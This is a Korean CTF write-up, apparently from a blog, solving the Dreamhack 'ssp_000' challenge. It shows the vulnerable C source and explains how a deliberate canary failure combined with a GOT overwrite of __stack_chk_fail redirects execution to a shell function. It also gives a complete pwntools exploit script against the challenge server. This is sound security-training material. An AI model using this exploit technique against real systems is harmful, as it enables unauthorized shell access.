728x90

보호기법 확인

canary가 들어있는 것을 확인할 수 있다
relro는 partial이기 때문에 got overwrite 사용이 가능하다
문제코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
문제코드를 확인했을 때 long자료형인 addr과 value에 값을 scanf로 입력받아
addr에 value 값을 넣는 것을 볼 수 있다.
코드상에 get_shell이 존재하니 canary를 임의로 발동시켜서
addr에는 canary got를 value에는 get_shell에 주소를 넣는다면 flag를 얻을 수 있을것같다.
시스템상 plt를 호출할 시 got에 값이 존재한다면got를 먼저 사용한다
디버깅

canary 검증에 실패했을시 main+190에 call을 사용해 __stack_chk_fail을 호출하는것을 볼 수 있는데
이 값의 got를 변조하고 canary로 인한 오류를 발생시킨다면 flag를 얻을 수 있다
main stack frame 작성

카나리에 오류를 발생시켜야 하기 때문에
buf에서부터 canary 값을 침범해서 값을 집어넣어야한다
payload
from pwn import *
p = remote('host3.dreamhack.games',20834)
#p = process('./ssp_000')
e = ELF('./ssp_000')
got = e.got['__stack_chk_fail']
p.send('a' * 0x50)
p.recvuntil(': ')
p.sendline(str(got))
p.recvuntil(': ')
p.sendline(str(e.symbols['get_shell']))
p.interactive()
원래는 값을 0x48만큼 a를 넣었는데
카나리 오류가 일어나지 않아 많은 값을 넣어 시도했다
결과

'시스템해킹' 카테고리의 다른 글
| [드림핵] memory_leakage 풀이 (0) | 2024.09.06 |
|---|---|
| [드림핵] off_by_one_001 풀이 (0) | 2024.09.06 |
| [드림핵] validator 풀이 (0) | 2024.07.21 |
| [드림핵] cmd_center 풀이 (0) | 2024.07.21 |
| [드림핵] sint 풀이 (0) | 2024.07.21 |